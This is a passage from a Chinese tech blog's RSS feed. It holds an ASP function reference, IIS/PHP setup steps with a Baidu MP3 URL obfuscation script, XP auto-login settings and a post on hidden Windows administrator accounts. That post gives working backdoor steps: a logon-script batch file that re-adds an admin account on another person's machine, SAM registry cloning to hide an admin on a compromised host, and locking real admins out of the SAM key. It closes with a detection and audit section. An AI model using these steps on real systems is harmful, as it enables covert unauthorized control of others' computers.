<br/>格式:minute(time)　<br/>参数:　time是时间变量　<br/>例子lt;%　=minute(#12:23:34#)　%>　<br/>结果:23　<br/>20.函数month()　<br/>功能:返回一数值,　表示月份　<br/>格式:month(time)　<br/>参数:time是日期变量　<br/>例子　<br/>结果:9　<br/>21.函数monthname()　<br/>功能:返回月份的字符串(名称).　<br/>格式:Monthname(date　[,abb])　<br/>参数:　date是日期变量,abb=true时　则月份的缩写,　<br/>例子:　<br/>　<br/>结果:April　<br/>22.函数Now()　<br/>功能:返回系统的当前时间和日期.　<br/>格式:now()　<br/>参数:无　<br/>例子:　<br/>　<br/>结果:　05/10/00　8:45:32　pm　<br/>23.函数:replace()　<br/>功能:在字符串中查找,替代指定的字符串.　<br/>格式:replace(strtobesearched,strsearchfor,strreplacewith　[,start[,count[,compare]]])　<br/>参数:strtobesearched是字符串;　strsearchfor是被查找的子字符串;strreplacewith　是用来替代的子字符串.start,count,compare　是任意选项.　<br/>例子:　<br/>　<br/>结果:this　is　an　orange.　<br/>24.函数right()　<br/>功能:截取一个字符串的后部分　<br/>格式:right(string,length)　<br/>参数:string字符串,length截取的长度.　<br/>例子:　<br/>　<br/>结果:st!　<br/>25.函数rnd()　<br/>功能:返回一个随机数值　<br/>格式:rnd[(number)]　<br/>参数:number是任意数值.　<br/>例子:　<br/>　<br/>结果:0/1数值之一,无randomize(),　则不能产生随机数.　<br/>26.函数round()　<br/>功能:完整数值　<br/>格式:round(expression[,numright])　<br/>参数:expression数字表达式;numright任意选项.　<br/>例子:　<br/>　<br/>结果:　12　<br/>27.函数rtrim()　<br/>功能:去掉字符串后的空格.　<br/>格式:rtrim(string)　<br/>参数:string　是字符串　<br/>例子:　<br/>　<br/>结果:this　is　a　test!　<br/>28.函数second()　<br/>功能:返回一个整数值.　<br/>格式:second(time)　<br/>参数:time是一个有效的时间表达式;　<br/>例子lt;%　=second(#　12:28:30#)　%>　<br/>结果:30　<br/>29.函数strReverse()　<br/>功能:返回与原字符串排列逆向的字符串.　<br/>格式:strreverse(string)　<br/>参数:string是字符串　<br/>例子　<br/>结果:this　is　a　test!　<br/>32.函数UBound()　<br/>功能:返回一个数组的上界.　<br/>格式:Ubound(expression　[,dimension])　<br/>参数:expression　是数组表达式/数组变量,dimension　是任意项　<br/>例子:　<br/>　<br/>结果:　2　<br/>33.函数:UCase()　<br/>功能:将一字符类型变量的字符全部变换成大写字符.　<br/>格式:Ucase(string)　<br/>参数:string是字符串变量　<br/>例子:　<br/>　<br/>结果:THIS　IS　LCASE!　<br/>34.函数Vartype()　<br/>功能:返回变量的常量代码(整数)　<br/>格式:Vartype(varname)　<br/>参数:varname是任何类型的变量名称.　<br/>例子:　<br/>　<br/>结果:2　(2表示整数,须要参考ASP常量代码.)　<br/>35.函数Weekday()　<br/>功能:返回一个整数,对应一周中的第几天.　<br/>格式:Weekday(date　[,firstofweek])　<br/>参数:　date为日期变量,firstofweek为任选项.　<br/>例子:　<br/>　<br/>结果:3(3　表示是星期二)　<br/>36.函数weekdayname()　<br/>功能:返回字符串,对应星期几.　<br/>格式:weekdayname(weekday[,abb[,firstdayofweek]])　<br/>参数:weekday为日期变量,abb,firstdayofweek为任选项.　<br/>例子:　<br/>　<br/>结果:　Wednesday　<br/>37.函数year()　<br/>功能:返回日期表达式所在的年份.　<br/>格式:year(date)　<br/>参数:　date是有效的日期表达式　<br/>例子:　<br/>　<br/>结果:1999　<br/>38.函数Mod()功能:取余数.<br/>例子:3　Mod　2　<br/>结果:1<br/>------------------------------------------------------------------------------------------<br/><br/>函数名称 函数功能<br/><br/><br/>[Copy to clipboard] [ - ]CODE:Cbool(string) 转换为布尔值<br/>Cbyte(string) 转换为字节类型的值<br/>Ccur(string) 转换为货币类值<br/>Cdate(string) 转换为日前类型的值<br/>Cdbl(string) 转换为双精度值<br/>Cint(string) 转换为整数值<br/>Clng(string) 转换为长整型的值<br/>Csng(string) 转换为单精度的值<br/>Cstr(var) 转换为字符串值<br/>Str(var) 数值转换为字符串<br/>Val(string) 字符串转换为数值<br/>****** ******<br/>****** ******<br/>Abs(nmb) 返回数子的绝对值<br/>Atn(nmb) 返回一个数的反正切<br/>Cos(nmb) 返回一个角度的余炫值<br/>Exp(nmb) 返回自然指数的次方值<br/>Int(nmb) 返回数字的整形（进位）部份<br/>Fix(nmb) 返回数字的整形（舍去）部份<br/>Formatpercent(表达式) 返回百分比<br/>Hex(nmb) 返回数据的16进制数<br/>Log(nmb) 返回自然对数<br/>Oct(nmb) 返回数字的8进制数<br/>Rnd 返回大于“0”而小于“1”的随机数<br/>Sgn(nmb) 判断一个数字的正负号<br/>Sin(nmb) 返回角度的正铉值<br/>Sqr(nmb) 返回数字的二次方根<br/>Tan(nmb) 返回一个数的正切值<br/>Asc(string) 返回ASCII字符串<br/>Chr(charcode) 根据字符代码返回字符<br/>Instr(string,searchstr) 返回被搜索字符串的第一个字符位置，string是字符串，searchstr是被搜索的字符串<br/>InstrRev(string,searchstr) 同上，只是从右面开始搜索<br/>Lcase(var) 把字符串变为小写<br/>Left(string,nmb) 从string中返回从左面开始的nmb个字符串<br/>Len(string) 返回字符串的长度<br/>Ltrim(string) 截去字符串左边的空格<br/>Filter(inputstrings,value) 返回字符串数组的字集，Inputstrings是字符串组，value是在数组中寻找的字符<br/>Rtrim(string) 截去字符串右边的空格<br/>Trim(string) 截去字符串前后空格<br/>Mid(string,start,len) 在string中返回从start位置开始的len个字符<br/>Replace(string,find,withstr) 在字符串string中，用withstr来替换find字符串<br/>Right(string,nmb) 从string中返回从右面开始的nmb个字符串<br/>Space(nmb) 返回指定空格的字符串<br/>StrComp(string1,string2) 比较两个字符串<br/>Ucase(string) 把字符串变为大写<br/><br/>--------------------------------<br/><br/>常用命令：<br/><br/><br/>[Copy to clipboard] [ - ]CODE:rs.movenext '将记录指针从当前的位置向下移一行 <br/>rs.moveprevious '将记录指针从当前的位置向上移一行 <br/>rs.movefirst '将记录指针移到数据表第一行 <br/>rs.movelast '将记录指针移到数据表最后一行<br/>currentpage '第几页<br/>rs.absoluteposition=N '将记录指针移到数据表第N行 <br/>rs.absolutepage=N '将记录指针移到第N页的第一行 <br/>rs.pagesize=N '设置每页为N条记录 <br/>rs.pagecount '根据 pagesize 的设置返回总页数 <br/>rs.recordcount '返回记录总数 <br/>rs.bof '返回记录指针是否超出数据表首端，true表示是，false为否 <br/>rs.eof '返回记录指针是否超出数据表末端，true表示是，false为否 <br/><br/>Tags - <a href="http://www.fkdj8.com/tags/asp/" rel="tag">asp</a> , <a href="http://www.fkdj8.com/tags/%25E5%2587%25BD%25E6%2595%25B0/" rel="tag">函数</a>
]]>
</description>
</item><item>
<link>http://www.fkdj8.com/post/44/</link>
<title><![CDATA[简单配置IIS既可以运行ASP又可以运行PHP]]></title> 
<author>yantou &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术相关]]></category>
<pubDate>Sat, 27 Feb 2010 07:21:15 +0000</pubDate> 
<guid>http://www.fkdj8.com/post/44/</guid> 
<description>
<![CDATA[ 
	整了个BaiDuMp3的Decode，Base64加上一些Unicode的变化，发现JS版和ASP版的Base64算法对中文支持都不理想，于是用了Php的，服务器是IIS6.0，要让它跑Php也是可以的 。<br/><br/>1、准备好php.ini，php5ts.dll，php5isapi.dll这3个文件，其中的php5是你拥有的php版本的文件，不同的版本，数字也不一样，这没关系。<br/><br/>2、将php.ini复制到windows目录<br/><br/>如果要用session，先配置一下：<br/><br/>打开该文件，找到extension_dir = "./" ，将其改为 extension_dir = "C:&#92;windows&#92;extensions" ；再找到 session.save_path = /tmp ，将其改为 session.save_path = C:&#92;windows&#92;sessions 。（注：此时你需要在C:&#92;windows目录下建立sessions文件夹，以存放session 。）<br/><br/>3、将php5ts.dll，php5isapi.dll复制到system32目录<br/><br/>4、在IIS中，添加Web服务扩展，要求的文件选择复制到system32里的php5isapi.dll，勾选“设置扩展状态为允许”<br/><br/>5、在要允许执行Php的站点上，设置其属性。<br/><br/>【主目录】【配置】【应用程序扩展】<br/><br/>点击【添加】按钮，可执行文件选择复制到system32里的php5isapi.dll，扩展名为php，动作限制为：GET,HEAD,POST，然后确定。<br/><br/>重启IIS。<br/><br/>现在，你设置的那个站点即可以运行ASP，又可以运行PHP了，同样，你还可以为它添加Asp.Net或其他WEB服务扩展。<br/><br/>附上BaiDuMp3客户端Encode，Decode代码！<br/><br/>以下为引用的内容：<br/><br/><script type="text/javascript"><br/>function bdmp3Url()&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;this.I=[];<br/>&nbsp;&nbsp;&nbsp;&nbsp;this.E=[];<br/>&nbsp;&nbsp;&nbsp;&nbsp;this.init();<br/>&#125;<br/>bdmp3Url.prototype = &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;init:function()&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.getkeys(0,9,48);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.getkeys(10,35,55);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.getkeys(36,61,61);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;,<br/>&nbsp;&nbsp;&nbsp;&nbsp;getkeys:function(Q,N,O)&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(var P=Q;P<=N;P++)&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;this.I[P]=String.fromCharCode(P+O);this.E[P+O]=P;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;,<br/>&nbsp;&nbsp;&nbsp;&nbsp;code:function(C,D,F)&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//偏移量<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var K=D%26;K=K?K:1;K=C?K:-K;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var N=F.length,I=this.I,E=this.E,R='',Q='';<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(var P=0;P<N;P++)&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;R=F.charAt(P);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(/[A-Za-z0-9]/.test(R))&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var S=E[F.charCodeAt(P)]+K;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(C)&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(S>61)&#123;S-=62;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;else&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(S<0)&#123;S+=62;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;R=I[S];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Q+=R;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return Q;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&#125;<br/><br/>var x = new bdmp3Url();<br/><br/>document.write(x.code(1,1227148832,'http://www.xxxms.net/UploadFiles/2007-1/115747297.wma')+'<br/>');<br/><br/>document.write(x.code(0,1227148832,'iuuq://xxx.x0nt.ofu/VqmpbeGjmft/3118-2/2268583A8.xnb'));<br/><br/></script><br/> <br/><br/><br/>Tags - <a href="http://www.fkdj8.com/tags/iis/" rel="tag">iis</a> , <a href="http://www.fkdj8.com/tags/asp/" rel="tag">asp</a> , <a href="http://www.fkdj8.com/tags/php/" rel="tag">php</a>
]]>
</description>
</item><item>
<link>http://www.fkdj8.com/post/32/</link>
<title><![CDATA[设置 XP自动登录的两种方法]]></title> 
<author>yantou &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术相关]]></category>
<pubDate>Fri, 25 Dec 2009 13:41:49 +0000</pubDate> 
<guid>http://www.fkdj8.com/post/32/</guid> 
<description>
<![CDATA[ 
	第一种是修改注册表<br/>&nbsp;&nbsp;&nbsp;&nbsp;这种方法比较麻烦，而且要求对注册表有一定的了解。<br/>&nbsp;&nbsp;&nbsp;&nbsp;第1步：运行注册表编辑器，依次展开 [HKEY_LOCAL_MACHINE&#92;SOFTWARE&#92;Microsoft&#92;Windows NT&#92;CurrentVersion&#92;Winlogon] 分支，然后在右侧窗口双击 "DefaultUserName"，接着输入你的登录用户名。如果没有 "DefaultUserName" 这一项，可以按鼠标右键选“编辑→新建→字符串值(s)→DefaultUserName”来添加这个项目，注意要区分大小写字母。<br/>&nbsp;&nbsp;&nbsp;&nbsp;第2步：同样在该分支下，在右侧窗口中双击 "DefaultPassword"，然后在空白栏内输入你的密码。假如未发现 "DefaultPassword" 这一项，可按上面的步骤来新建该字符串值。<br/>&nbsp;&nbsp;&nbsp;&nbsp;第3步：接下来在右侧窗口中双击 "AutoAdminLogon"，将数值设置为 "1"。假如未发现 "AutoAdminLogon" 这一项，可按上面的步骤来新建。<br/>&nbsp;&nbsp;&nbsp;&nbsp;现在关闭注册表编辑器并重新启动电脑，就可以实现XP的自动登录了。<br/>&nbsp;&nbsp;&nbsp;&nbsp;第二种方法比较简单<br/>&nbsp;&nbsp;&nbsp;&nbsp;在 Windows XP 中单击“开始→运行”，输入 “rundll32 netplwiz.dll,UsersRunDll”（注意大小写及空格），按回车就会出现一个“用户账户”的操作窗口，如果你对 Windows 2000 比较熟悉的话，相信你应该知道怎么做了，取消对“要使用本机，用户必须输入用户名和密码”项的选择，点击“应用”。在接下来弹出的对话框中输入你想让电脑每次自动登录的用户名及其密码，下次启动时就可以实现XP的自动登录了。<br/><br/><br/>Tags - <a href="http://www.fkdj8.com/tags/xp/" rel="tag">xp</a> , <a href="http://www.fkdj8.com/tags/%25E8%2587%25AA%25E5%258A%25A8/" rel="tag">自动</a> , <a href="http://www.fkdj8.com/tags/%25E6%2596%25B9%25E6%25B3%2595/" rel="tag">方法</a>
]]>
</description>
</item><item>
<link>http://www.fkdj8.com/post/26/</link>
<title><![CDATA[超级隐藏服务器账户的建立与检测]]></title> 
<author>yantou &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术相关]]></category>
<pubDate>Sat, 28 Nov 2009 17:46:20 +0000</pubDate> 
<guid>http://www.fkdj8.com/post/26/</guid> 
<description>
<![CDATA[ 
	建立一个别人永远删不掉的管理员用户 <br/><br/>操作步骤： <br/>&nbsp;&nbsp;&nbsp;&nbsp; 1、在自己电脑里面建立一个.txt文本文件. <br/>&nbsp;&nbsp;&nbsp;&nbsp; 2、在里面输入内容<br/><br/>@echo off<br/>net user xixi 123456 /add 注释：前面xixi是用户名后面123456是密码；<br/>net localgroup administrators xixi /add<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 3、把这个文件保存，更改后缀为xixi.bat 注释：前面名字随便，后面格式一定要是bat； <br/>&nbsp;&nbsp;&nbsp;&nbsp; 4、把这个文件拷贝到对方电脑C:&#92;WINNT&#92;system32&#92;GroupPolicy&#92;User&#92;Scripts&#92;Logon文件目录下，没有的话自己创建。 <br/>&nbsp;&nbsp;&nbsp;&nbsp; 完成，下次对方电脑无论如何都有这个管理员帐号，删除了，下次启动还有！ <br/>&nbsp;&nbsp;&nbsp;&nbsp; 如果把里面的内容改成 <br/>@echo off<br/>net user administrator 123456 /add<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 意思是不管你怎么改，下次启动管理员帐号administrator密码一直是123456。<br/><br/><br/>二.俺认为上述的方法并不理想，可以用隐藏帐号方法来建帐号会更好 。<br/>操作步骤：<br/>1、首先建立一个帐号结尾要带$号 ,如果saturn$ ， 密码自己随便，然后把帐号删除. <br/>2、将以下代码保存成（.reg）注册表形式 <br/>代码如下： <br/>-------------------------------------------------------------------------------<br/>Windows Registry Editor Version 5.00 <br/>[HKEY_LOCAL_MACHONE&#92;SAM&#92;SAM&#92;Domains&#92;Account&#92;users&#92;<br/>names&#92;saturn$] <br/>@=hex(1f4): <br/>-------------------------------------------------------------------------------<br/>说明：1f4是Administrator帐号十六进制的值<br/>3、保存好后导入 ，然后用CMD命令设置密码 <br/>net user saturn$ 123456<br/><br/>这样一个隐形帐号就建立好了，用户在“本地用户和组”内根本无法看到这个帐号。所以也不存在删除帐号。记得千万别在同事的电脑上捣鼓哦，如果被查出来。。。。。嘿嘿:-)<br/><br/>本文出自 51CTO.COM技术博客<br/><br/><br/><br/><br/>隐藏管理员帐号三分钟搞定<br/><br/>对 regedit.exe我想大家都很熟悉，但却不能对注册表的项键设置权限，而regedt32.exe最大的优点就是能够对注册表的项键设置权限。 nt/2000/xp的帐户信息都在注册表的HKEY_LOCAL_MACHINE&#92;&#92;SAM&#92;&#92;SAM键下，但是除了系统用户SYSTEM外，其它用户 都无权查看到里面的信息，因此我首先用regedt32.exe对SAM键为我设置为“完全控制”权限。这样就可以对SAM键内的信息进行读写了了。具体 步聚如下：<br/><br/>1、假设我们是以超级用户administrator登录到开有终端服务的肉鸡上的，首先在命令行下或帐户管理器中建立一个帐户:hacker$,这里我在命令行下建立这个帐户 net user hacker$ 1234 /add<br/><br/>2、在开始/运行中输入:regedt32.exe并回车来运行regedt32.exe。<br/><br/>3、点“权限”以后会弹出窗口点添加将我登录时的帐户添加到安全栏内，这里我是以administrator的身份登录的，所以我就将 administrator加入，并设置权限为“完全控制"。这里需要说明一下:最好是添加你登录的帐户或帐户所在的组，切莫修改原有的帐户或组，否则将 会带来一系列不必要的问题。等隐藏超级用户建好以，再来这里将你添加的帐户删除即可。<br/><br/>4、再点“开始”→“运行”并输 入"regedit.exe" 回车,启动注册表编辑器regedit.exe。 打开键：HKEY_LOCAL_MAICHINE&#92;&#92;SAM&#92;&#92;SAM&#92;&#92;Domains&#92;&#92;account&#92;&#92;user&#92;&#92;names &#92;&#92;hacker$"<br/><br/>5、将项hacker$、00000409、000001F4导出为hacker.reg、409.reg、 1f4.reg，用记事本分别打这几个导出的文件进行编辑，将超级用户对应的项000001F4下的键"F"的值复制，并覆盖hacker$对应的项 00000409下的键"F"的值,然后再将00000409.reg与hacker.reg合并。<br/><br/>6、在命令行下执行net user hacker$ /del将用户hacker$删除：net user hacker$ /del<br/><br/>7、在regedit.exe的窗口内按F5刷新，然后打文件-导入注册表文件将修改好的hacker.reg导入注册表即可<br/><br/>8、到此，隐藏的超级用户hacker$已经建好了，然后关闭regedit.exe。在regedt32.exe窗口内把HKEY_LOCAL_MACHINE&#92;&#92;SAM&#92;&#92;SAM键权限改回原来的样子（只要删除添加的帐户administrator即可）。<br/><br/>9、注意：隐藏的超级用户建好后，在帐户管理器看不到hacker$这个用户，在命令行用“net user”命令也看不到，但是超级用户建立以后，就不能再改密码了，如果用net user命令来改hacker$的密码的话，那么在帐户管理器中将又会看这个隐藏的超级用户了，而且不能删除。<br/><br/><br/><br/>建立与删除隐藏的管理员帐号 <br/>当黑客入侵一台主机后，会想方设法保护自己的“劳动成果”，因此会在肉鸡上留下种种后门来长时间得控制肉鸡,其中使用最多的就是账户隐藏技术。在肉鸡上 建立一个隐藏的账户，以备需要的时候使用。账户隐藏技术可谓是最隐蔽的后门，一般用户很难发现系统中隐藏账户的存在，因此危害性很大，本文就对隐藏账户这 种黑客常用的技术进行揭密。<br/><br/>在隐藏系统账户之前，我们有必要先来了解一下如何才能查看系统中已经存在的账户。在系统中可以进入“命令 提示符”，控制面板的“计算机管理”，“注册表”中对存在的账户进行查看，而管理员一般只在“命令提示符”和“计算机管理”中检查是否有异常，因此如何让 系统账户在这两者中隐藏将是本文的重点。<br/><br/>一、“命令提示符”中的阴谋<br/>其实，制作系统隐藏账户并不是十分高深的技术，利用我们平时经常用到的“命令提示符”就可以制作一个简单的隐藏账户。<br/>点击“开始”→“运行”，输入“CMD”运行“命令提示符”，输入“net user piao$ 123456 /add”，回车，成功后会显示“命令成功完成”。接着输入“net localgroup administrators piao$ /add”回车，这样我们就利用“命令提示符”成功得建立了一个用户名为“piao$”，密码为“123456”的简单“隐藏账户”,并且把该隐藏账户提 升为了管理员权限。<br/>我们来看看隐藏账户的建立是否成功。在“命令提示符”中输入查看系统账户的命令“net user”，回车后会显示当前系统中存在的账户。从返回的结果中我们可以看到刚才我们建立的“piao$”这个账户并不存在。接着让我们进入控制面板的“ 管理工具”，打开其中的“计算机”，查看其中的“本地用户和组”，在“用户”一项中，我们建立的隐藏账户“piao$”暴露无疑。<br/>可以总结得出的结论是：这种方法只能将账户在“命令提示符”中进行隐藏，而对于“计算机管理”则无能为力。因此这种隐藏账户的方法并不是很实用，只对那些粗心的管理员有效，是一种入门级的系统账户隐藏技术。<br/><br/>二、在“注册表”中玩转账户隐藏 <br/>从上文中我们可以看到用命令提示符隐藏账户的方法缺点很明显，很容易暴露自己。那么有没有可以在“命令提示符”和“计算机管理”中同时隐藏账户的技术呢？答案是肯定的，而这一切只需要我们在“注册表”中进行一番小小的设置，就可以让系统账户在两者中完全蒸发。<br/><br/>1、峰回路转，给管理员注册表操作权限<br/>在注册表中对系统账户的键值进行操作，需要到“HKEY_LOCAL_MACHINE&#92;SAM&#92;SAM”处进行修改，但是当我们来到该处时，会发现无法 展开该处所在的键值。这是因为系统默认对系统管理员给予“写入DAC”和“读取控制”权限，没有给予修改权限，因此我们没有办法对“SAM”项下的键值进 行查看和修改。不过我们可以借助系统中另一个“注册表编辑器”给管理员赋予修改权限。<br/>点击“开始”→“运行”，输入 “regedt32.exe”后回车，随后会弹出另一个“注册表编辑器”，和我们平时使用的“注册表编辑器”不同的是它可以修改系统账户操作注册表时的权 限（为便于理解，以下简称regedt32.exe）。在regedt32.exe中来到“HKEY_LOCAL_MACHINE&#92;SAM&#92;SAM”处， 点击“安全”菜单→“权限”，在弹出的“SAM的权限”编辑窗口中选中“administrators”账户，在下方的权限设置处勾选“完全控制”，完成 后点击“确定”即可。然后我们切换回“注册表编辑器”，可以发现“HKEY_LOCAL_MACHINE&#92;SAM&#92;SAM”下面的键值都可以展开了。<br/>提示：上文中提到的方法只适用于Windows NT/2000系统。在Windows XP系统中，对于权限的操作可以直接在注册表中进行，方法为选中需要设置权限的项，点击右键，选择“权限”即可。<br/><br/>2、偷梁换柱，将隐藏账户替换为管理员<br/>成功得到注册表操作权限后，我们就可以正式开始隐藏账户的制作了。来到注册表编辑器的“HKEY_LOCAL_MACHINE&#92;SAM&#92;SAM &#92;Domains&#92;Account&#92;Users&#92;Names”处，当前系统中所有存在的账户都会在这里显示，当然包括我们的隐藏账户。点击我们的隐藏账户 “piao$”，在右边显示的键值中的“类型”一项显示为0x3e9，向上来到“HKEY_LOCAL_MACHINE&#92;SAM&#92;SAM&#92;Domains &#92;Account&#92;Users&#92;”处，可以找到“000003E9”这一项，这两者是相互对应的，隐藏账户“piao$”的所有信息都在 “000003E9”这一项中。同样的，我们可以找到“administrator”账户所对应的项为“000001F4”。<br/>将 “piao$”的键值导出为piao$.reg，同时将“000003E9”和“000001F4”项的F键值分别导出为 user.reg，admin.reg。用“记事本”打开admin.reg，将其中“F”值后面的内容复制下来，替换user.reg中的“F”值内 容，完成后保存。接下来进入“命令提示符”，输入“net user piao$ /del”将我们建立的隐藏账户删除。最后，将piao$.reg和user.reg导入注册表，至此，隐藏账户制作完成。<br/><br/>3、过河拆桥，切断删除隐藏账户的途径<br/>虽然我们的隐藏账户已经在“命令提示符”和“计算机管理”中隐藏了，但是有经验的系统管理员仍可能通过注册表编辑器删除我们的隐藏账户，那么如何才能让我们的隐藏账户坚如磐石呢？<br/>打开“regedt32.exe”，来到“HKEY_LOCAL_MACHINE&#92;SAM&#92;SAM”处，设置“SAM”项的权限，将 “administrators”所拥有的权限全部取消即可。当真正的管理员想对“HKEY_LOCAL_MACHINE&#92;SAM&#92;SAM”下面的项进行 操作的时候将会发生错误，而且无法通过“regedt32.exe”再次赋予权限。这样没有经验的管理员即使发现了系统中的隐藏账户，也是无可奈何的。<br/><br/>三.专用工具，使账户隐藏一步到位 <br/>虽然按照上面的方法可以很好得隐藏账户，但是操作显得比较麻烦，并不适合新手，而且对注册表进行操作危险性太高，很容易造成系统崩溃。因此我们可以借助专门的账户隐藏工具来进行隐藏工作，使隐藏账户不再困难，只需要一个命令就可以搞定。<br/>我们需要利用的这款工具名叫“HideAdmin”，下载下来后解压到c盘。然后运行“命令提示符”，输入“HideAdmin piao$ 123456”即可，如果显示“Create a hiden Administrator piao$ Successed!”，则表示我们已经成功建立一个账户名为piao$，密码为123456的隐藏账户。利用这款工具建立的账户隐藏效果和上文中修改注 册表的效果是一样的。<br/><br/>四、把“隐藏账户”请出系统<br/>隐藏账户的危害可谓十分巨大。因此我们有必要在了解了账户隐藏技术后，再对相应的防范技术作一个了解，把隐藏账户彻底请出系统。<br/><br/>1、添加“$”符号型隐藏账户<br/>对于这类隐藏账户的检测比较简单。一般黑客在利用这种方法建立完隐藏账户后，会把隐藏账户提升为管理员权限。那么我们只需要在“命令提示符”中输入 “net localgroup administrators”就可以让所有的隐藏账户现形。如果嫌麻烦，可以直接打开“计算机管理”进行查看，添加“$”符号的账户是无法在这里隐藏 的。<br/><br/>2、修改注册表型隐藏账户<br/>由于使用这种方法隐藏的账户是不会在“命令提示符”和“计算机管理”中看到的，因此可以到 注册表中删除隐藏账户。来到“HKEY_LOCAL_MACHINE&#92;SAM&#92;SAM&#92;Domains&#92;Account&#92;Users&#92;Names”，把这 里存在的账户和“计算机管理”中存在的账户进行比较，多出来的账户就是隐藏账户了。想要删除它也很简单，直接删除以隐藏账户命名的项即可。<br/><br/>3、无法看到名称的隐藏账户<br/>如果黑客制作了一个修改注册表型隐藏账户，在此基础上删除了管理员对注册表的操作权限。那么管理员是无法通过注册表删除隐藏账户的，甚至无法知道黑客建 立的隐藏账户名称。不过世事没有绝对，我们可以借助“组策略”的帮助，让黑客无法通过隐藏账户登陆。点击“开始”→“运行”，输入 “gpedit.msc”运行“组策略”，依次展开“计算机配置”→“Windows 设置”→“安全设置”→“本地策略”→“审核策略”，双击右边的“审核策略更改”，在弹出的设置窗口中勾选“成功”，然后点“确定”。对“审核登陆事件” 和“审核过程追踪”进行相同的设置。<br/>进行登陆审核后，可以对任何账户的登陆操作进行记录，包括隐藏账户，这样我们就可以通过“计算机管理”中 的“事件查看器”准确得知隐藏账户的名称，甚至黑客登陆的时间。即使黑客将所有的登陆日志删除，系统还会记录是哪个账户删除了系统日志，这样黑客的隐藏账 户就暴露无疑了。<br/>得知隐藏账户的名称后就好办了，但是我们仍然不能删除这个隐藏账户，因为我们没有权限。但是我们可以在“命令提示符”中输入“net user 隐藏账户名称 